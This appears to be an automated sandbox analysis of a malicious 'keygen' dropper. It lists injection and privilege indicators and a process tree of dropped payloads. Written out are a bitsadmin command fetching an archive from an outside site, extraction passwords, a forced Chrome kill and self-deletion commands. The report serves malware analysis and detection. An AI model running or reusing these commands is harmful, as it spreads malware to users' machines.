Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2204 rundll32.exe 2204 rundll32.exe 420 svchost.exe 420 svchost.exe 4780 ultramediaburner.tmp 4780 ultramediaburner.tmp 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe 4900 Qaehorushodae.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3060 Process not Found -
Suspicious behavior: MapViewOfSection 64 IoCs
pid Process 5116 MicrosoftEdgeCP.exe 5116 MicrosoftEdgeCP.exe 5116 MicrosoftEdgeCP.exe 5116 MicrosoftEdgeCP.exe 5820 toolspab1.exe 5544 c7ae36fa.exe 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 5116 MicrosoftEdgeCP.exe 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 5616 explorer.exe 5616 explorer.exe 5616 explorer.exe 5616 explorer.exe 5616 explorer.exe 5616 explorer.exe 5616 explorer.exe 5616 explorer.exe 5616 explorer.exe 5616 explorer.exe 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 748 explorer.exe 748 explorer.exe 748 explorer.exe 748 explorer.exe 748 explorer.exe 748 explorer.exe 748 explorer.exe 748 explorer.exe 748 explorer.exe 748 explorer.exe 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 5036 explorer.exe 5036 explorer.exe 5036 explorer.exe 5036 explorer.exe 5036 explorer.exe 5036 explorer.exe 5036 explorer.exe 5036 explorer.exe 5036 explorer.exe 5036 explorer.exe 3060 Process not Found 3060 Process not Found 4484 ajuerud 6132 iuuerud 5036 explorer.exe 5036 explorer.exe 5036 explorer.exe 5036 explorer.exe 748 explorer.exe 748 explorer.exe 748 explorer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2204 rundll32.exe Token: SeTcbPrivilege 420 svchost.exe Token: SeDebugPrivilege 2204 rundll32.exe Token: SeDebugPrivilege 2204 rundll32.exe Token: SeDebugPrivilege 2204 rundll32.exe Token: SeDebugPrivilege 4060 JoSetp.exe Token: SeDebugPrivilege 2204 rundll32.exe Token: SeDebugPrivilege 2204 rundll32.exe Token: SeDebugPrivilege 2204 rundll32.exe Token: SeDebugPrivilege 2204 rundll32.exe Token: SeDebugPrivilege 2204 rundll32.exe Token: SeDebugPrivilege 2204 rundll32.exe Token: SeDebugPrivilege 2204 rundll32.exe Token: SeDebugPrivilege 2204 rundll32.exe Token: SeDebugPrivilege 2204 rundll32.exe Token: SeDebugPrivilege 4464 Ultra.exe Token: SeAuditPrivilege 2472 svchost.exe Token: SeDebugPrivilege 4836 Tucuxaenaema.exe Token: SeDebugPrivilege 4900 Qaehorushodae.exe Token: SeAssignPrimaryTokenPrivilege 2780 svchost.exe Token: SeIncreaseQuotaPrivilege 2780 svchost.exe Token: SeSecurityPrivilege 2780 svchost.exe Token: SeTakeOwnershipPrivilege 2780 svchost.exe Token: SeLoadDriverPrivilege 2780 svchost.exe Token: SeSystemtimePrivilege 2780 svchost.exe Token: SeBackupPrivilege 2780 svchost.exe Token: SeRestorePrivilege 2780 svchost.exe Token: SeShutdownPrivilege 2780 svchost.exe Token: SeSystemEnvironmentPrivilege 2780 svchost.exe Token: SeUndockPrivilege 2780 svchost.exe Token: SeManageVolumePrivilege 2780 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2780 svchost.exe Token: SeIncreaseQuotaPrivilege 2780 svchost.exe Token: SeSecurityPrivilege 2780 svchost.exe Token: SeTakeOwnershipPrivilege 2780 svchost.exe Token: SeLoadDriverPrivilege 2780 svchost.exe Token: SeSystemtimePrivilege 2780 svchost.exe Token: SeBackupPrivilege 2780 svchost.exe Token: SeRestorePrivilege 2780 svchost.exe Token: SeShutdownPrivilege 2780 svchost.exe Token: SeSystemEnvironmentPrivilege 2780 svchost.exe Token: SeUndockPrivilege 2780 svchost.exe Token: SeManageVolumePrivilege 2780 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2780 svchost.exe Token: SeIncreaseQuotaPrivilege 2780 svchost.exe Token: SeSecurityPrivilege 2780 svchost.exe Token: SeTakeOwnershipPrivilege 2780 svchost.exe Token: SeLoadDriverPrivilege 2780 svchost.exe Token: SeSystemtimePrivilege 2780 svchost.exe Token: SeBackupPrivilege 2780 svchost.exe Token: SeRestorePrivilege 2780 svchost.exe Token: SeShutdownPrivilege 2780 svchost.exe Token: SeSystemEnvironmentPrivilege 2780 svchost.exe Token: SeUndockPrivilege 2780 svchost.exe Token: SeManageVolumePrivilege 2780 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2780 svchost.exe Token: SeIncreaseQuotaPrivilege 2780 svchost.exe Token: SeSecurityPrivilege 2780 svchost.exe Token: SeTakeOwnershipPrivilege 2780 svchost.exe Token: SeLoadDriverPrivilege 2780 svchost.exe Token: SeSystemtimePrivilege 2780 svchost.exe Token: SeBackupPrivilege 2780 svchost.exe Token: SeRestorePrivilege 2780 svchost.exe Token: SeShutdownPrivilege 2780 svchost.exe -
Suspicious use of FindShellTrayWindow 5 IoCs
pid Process 4780 ultramediaburner.tmp 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2812 xiuhuali.exe 2812 xiuhuali.exe 4380 MicrosoftEdge.exe 5116 MicrosoftEdgeCP.exe 5116 MicrosoftEdgeCP.exe 4152 google-game.exe 4152 google-game.exe 3768 RegWorkshop.exe 5796 OpenWith.exe 3052 MicrosoftEdge.exe 3824 MicrosoftEdgeCP.exe 3824 MicrosoftEdgeCP.exe -
Suspicious use of UnmapMainImage 2 IoCs
pid Process 3060 Process not Found 3060 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3172 wrote to memory of 2812 3172 keygen-step-4d.exe 76 PID 3172 wrote to memory of 2812 3172 keygen-step-4d.exe 76 PID 3172 wrote to memory of 2812 3172 keygen-step-4d.exe 76 PID 2812 wrote to memory of 2204 2812 xiuhuali.exe 78 PID 2812 wrote to memory of 2204 2812 xiuhuali.exe 78 PID 2812 wrote to memory of 2204 2812 xiuhuali.exe 78 PID 3172 wrote to memory of 4060 3172 keygen-step-4d.exe 79 PID 3172 wrote to memory of 4060 3172 keygen-step-4d.exe 79 PID 2204 wrote to memory of 420 2204 rundll32.exe 72 PID 420 wrote to memory of 1896 420 svchost.exe 80 PID 420 wrote to memory of 1896 420 svchost.exe 80 PID 2204 wrote to memory of 2868 2204 rundll32.exe 37 PID 420 wrote to memory of 1896 420 svchost.exe 80 PID 2204 wrote to memory of 1016 2204 rundll32.exe 18 PID 2204 wrote to memory of 2528 2204 rundll32.exe 44 PID 2204 wrote to memory of 2472 2204 rundll32.exe 45 PID 2204 wrote to memory of 1144 2204 rundll32.exe 6 PID 2204 wrote to memory of 1028 2204 rundll32.exe 13 PID 2204 wrote to memory of 1460 2204 rundll32.exe 14 PID 2204 wrote to memory of 1936 2204 rundll32.exe 54 PID 2204 wrote to memory of 1196 2204 rundll32.exe 11 PID 2204 wrote to memory of 1380 2204 rundll32.exe 10 PID 2204 wrote to memory of 2780 2204 rundll32.exe 39 PID 2204 wrote to memory of 2800 2204 rundll32.exe 38 PID 3172 wrote to memory of 4356 3172 keygen-step-4d.exe 83 PID 3172 wrote to memory of 4356 3172 keygen-step-4d.exe 83 PID 3172 wrote to memory of 4356 3172 keygen-step-4d.exe 83 PID 4356 wrote to memory of 4388 4356 Install.exe 84 PID 4356 wrote to memory of 4388 4356 Install.exe 84 PID 4356 wrote to memory of 4388 4356 Install.exe 84 PID 4388 wrote to memory of 4464 4388 Install.tmp 85 PID 4388 wrote to memory of 4464 4388 Install.tmp 85 PID 4464 wrote to memory of 4748 4464 Ultra.exe 88 PID 4464 wrote to memory of 4748 4464 Ultra.exe 88 PID 4464 wrote to memory of 4748 4464 Ultra.exe 88 PID 4748 wrote to memory of 4780 4748 ultramediaburner.exe 89 PID 4748 wrote to memory of 4780 4748 ultramediaburner.exe 89 PID 4748 wrote to memory of 4780 4748 ultramediaburner.exe 89 PID 4780 wrote to memory of 4824 4780 ultramediaburner.tmp 91 PID 4780 wrote to memory of 4824 4780 ultramediaburner.tmp 91 PID 4464 wrote to memory of 4836 4464 Ultra.exe 90 PID 4464 wrote to memory of 4836 4464 Ultra.exe 90 PID 4464 wrote to memory of 4900 4464 Ultra.exe 92 PID 4464 wrote to memory of 4900 4464 Ultra.exe 92 PID 3172 wrote to memory of 5004 3172 keygen-step-4d.exe 93 PID 3172 wrote to memory of 5004 3172 keygen-step-4d.exe 93 PID 3172 wrote to memory of 5004 3172 keygen-step-4d.exe 93 PID 4900 wrote to memory of 4356 4900 Qaehorushodae.exe 97 PID 4900 wrote to memory of 4356 4900 Qaehorushodae.exe 97 PID 4356 wrote to memory of 4400 4356 cmd.exe 135 PID 4356 wrote to memory of 4400 4356 cmd.exe 135 PID 4356 wrote to memory of 4400 4356 cmd.exe 135 PID 4900 wrote to memory of 4816 4900 Qaehorushodae.exe 130 PID 4900 wrote to memory of 4816 4900 Qaehorushodae.exe 130 PID 4816 wrote to memory of 4152 4816 inst.exe 104 PID 4816 wrote to memory of 4152 4816 inst.exe 104 PID 4816 wrote to memory of 4152 4816 inst.exe 104 PID 4152 wrote to memory of 4140 4152 google-game.exe 166 PID 4152 wrote to memory of 4140 4152 google-game.exe 166 PID 4152 wrote to memory of 4140 4152 google-game.exe 166 PID 4140 wrote to memory of 420 4140 Conhost.exe 72 PID 4140 wrote to memory of 2868 4140 Conhost.exe 37 PID 4140 wrote to memory of 1016 4140 Conhost.exe 18 PID 4140 wrote to memory of 2528 4140 Conhost.exe 44
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1144
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1380
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1196
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:1028 -
C:\Users\Admin\AppData\Roaming\ajuerudC:\Users\Admin\AppData\Roaming\ajuerud2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3128 -
C:\Users\Admin\AppData\Roaming\ajuerudC:\Users\Admin\AppData\Roaming\ajuerud3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4484
-
-
-
C:\Users\Admin\AppData\Roaming\iuuerudC:\Users\Admin\AppData\Roaming\iuuerud2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:6132
-
-
C:\Users\Admin\AppData\Roaming\ajuerudC:\Users\Admin\AppData\Roaming\ajuerud2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5144 -
C:\Users\Admin\AppData\Roaming\ajuerudC:\Users\Admin\AppData\Roaming\ajuerud3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:5788
-
-
-
C:\Users\Admin\AppData\Roaming\iuuerudC:\Users\Admin\AppData\Roaming\iuuerud2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:4400
-
-
C:\Users\Admin\AppData\Roaming\ajuerudC:\Users\Admin\AppData\Roaming\ajuerud2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5476 -
C:\Users\Admin\AppData\Roaming\ajuerudC:\Users\Admin\AppData\Roaming\ajuerud3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:5212
-
-
-
C:\Users\Admin\AppData\Roaming\iuuerudC:\Users\Admin\AppData\Roaming\iuuerud2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:5536
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1460
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:1016
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2868
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
- Modifies registry class
PID:2800
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2780
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2528
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2472
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1936
-
C:\Users\Admin\AppData\Local\Temp\keygen-step-4d.exe"C:\Users\Admin\AppData\Local\Temp\keygen-step-4d.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3172 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install3⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2204
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4060
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Users\Admin\AppData\Local\Temp\is-UEQEL.tmp\Install.tmp"C:\Users\Admin\AppData\Local\Temp\is-UEQEL.tmp\Install.tmp" /SL5="$9002E,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Users\Admin\AppData\Local\Temp\is-QBUTL.tmp\Ultra.exe"C:\Users\Admin\AppData\Local\Temp\is-QBUTL.tmp\Ultra.exe" /S /UID=burnerch14⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4464 -
C:\Program Files\Reference Assemblies\JOPSQUFZWQ\ultramediaburner.exe"C:\Program Files\Reference Assemblies\JOPSQUFZWQ\ultramediaburner.exe" /VERYSILENT5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4748 -
C:\Users\Admin\AppData\Local\Temp\is-OB5M7.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-OB5M7.tmp\ultramediaburner.tmp" /SL5="$10007E,281924,62464,C:\Program Files\Reference Assemblies\JOPSQUFZWQ\ultramediaburner.exe" /VERYSILENT6⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4780 -
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu7⤵
- Executes dropped EXE
PID:4824
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\57-e8243-978-131b8-f08b6eb08bc50\Tucuxaenaema.exe"C:\Users\Admin\AppData\Local\Temp\57-e8243-978-131b8-f08b6eb08bc50\Tucuxaenaema.exe"5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:4836
-
-
C:\Users\Admin\AppData\Local\Temp\e5-4b5c3-866-c7f97-cef941d4dbb79\Qaehorushodae.exe"C:\Users\Admin\AppData\Local\Temp\e5-4b5c3-866-c7f97-cef941d4dbb79\Qaehorushodae.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zzgtjfsq.lch\instEU.exe & exit6⤵
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Users\Admin\AppData\Local\Temp\zzgtjfsq.lch\instEU.exeC:\Users\Admin\AppData\Local\Temp\zzgtjfsq.lch\instEU.exe7⤵PID:4400
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rgb5imeq.wy2\google-game.exe & exit6⤵PID:4816
-
C:\Users\Admin\AppData\Local\Temp\rgb5imeq.wy2\google-game.exeC:\Users\Admin\AppData\Local\Temp\rgb5imeq.wy2\google-game.exe7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4152 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install8⤵PID:4140
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mp4goaoi.kpo\md1_1eaf.exe & exit6⤵PID:5644
-
C:\Users\Admin\AppData\Local\Temp\mp4goaoi.kpo\md1_1eaf.exeC:\Users\Admin\AppData\Local\Temp\mp4goaoi.kpo\md1_1eaf.exe7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5744
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\y50s1vi3.ro2\askinstall39.exe & exit6⤵PID:5856
-
C:\Users\Admin\AppData\Local\Temp\y50s1vi3.ro2\askinstall39.exeC:\Users\Admin\AppData\Local\Temp\y50s1vi3.ro2\askinstall39.exe7⤵
- Executes dropped EXE
PID:5932 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe8⤵PID:5172
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe9⤵
- Kills process with taskkill
PID:5504
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5arntvj0.xub\y1.exe & exit6⤵PID:5800
-
C:\Users\Admin\AppData\Local\Temp\5arntvj0.xub\y1.exeC:\Users\Admin\AppData\Local\Temp\5arntvj0.xub\y1.exe7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6036 -
C:\Users\Admin\AppData\Local\Temp\d0gZZZtK9O.exe"C:\Users\Admin\AppData\Local\Temp\d0gZZZtK9O.exe"8⤵
- Executes dropped EXE
- Modifies system certificate store
PID:4348 -
C:\Users\Admin\AppData\Roaming\1619442843072.exe"C:\Users\Admin\AppData\Roaming\1619442843072.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619442843072.txt"9⤵
- Executes dropped EXE
PID:2356
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\d0gZZZtK9O.exe"9⤵PID:688
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 310⤵
- Runs ping.exe
PID:5508
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\5arntvj0.xub\y1.exe"8⤵PID:5512
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK9⤵
- Delays execution with timeout.exe
PID:4100
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kuw3aeyk.c0n\SunLabsPlayer.exe /S & exit6⤵PID:6004
-
C:\Users\Admin\AppData\Local\Temp\kuw3aeyk.c0n\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\kuw3aeyk.c0n\SunLabsPlayer.exe /S7⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:2440 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:3744
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:5684
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:5632
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4140
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:5684
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:5652
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:4248
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:4084
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z8⤵
- Download via BitsAdmin
PID:5640
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -piXr3DMrthC8Tws4 -y x C:\zip.7z -o"C:\Program Files\temp_files\"8⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5628
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -peMb4BpZVBNLXLM1 -y x C:\zip.7z -o"C:\Program Files\temp_files\"8⤵
- Executes dropped EXE
PID:5016
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:5752
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:4924
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:6076
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:1540
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:5160
-
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\SBmmuMEA\SBmmuMEA.dll" SBmmuMEA8⤵
- Loads dropped DLL
PID:4364 -
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\SBmmuMEA\SBmmuMEA.dll" SBmmuMEA9⤵
- Loads dropped DLL
- Drops file in System32 directory
PID:5300
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:1412
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵
- Drops file in Program Files directory
PID:4104
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:4392
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:5308
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nskAD5E.tmp\tempfile.ps1"8⤵PID:4804
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵PID:5512
-
-
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5764
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ozd3sj0n.zfg\inst.exe & exit6⤵PID:5684
-
C:\Users\Admin\AppData\Local\Temp\ozd3sj0n.zfg\inst.exeC:\Users\Admin\AppData\Local\Temp\ozd3sj0n.zfg\inst.exe7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\r1squ0d2.5nq\GcleanerWW.exe /mixone & exit6⤵PID:6108
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qztecmgi.2js\toolspab1.exe & exit6⤵PID:2080
-
C:\Users\Admin\AppData\Local\Temp\qztecmgi.2js\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\qztecmgi.2js\toolspab1.exe7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5516 -
C:\Users\Admin\AppData\Local\Temp\qztecmgi.2js\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\qztecmgi.2js\toolspab1.exe8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5820
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\auzprkrb.tef\app.exe /8-2222 & exit6⤵PID:5640
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
- Executes dropped EXE
PID:4400
-
-
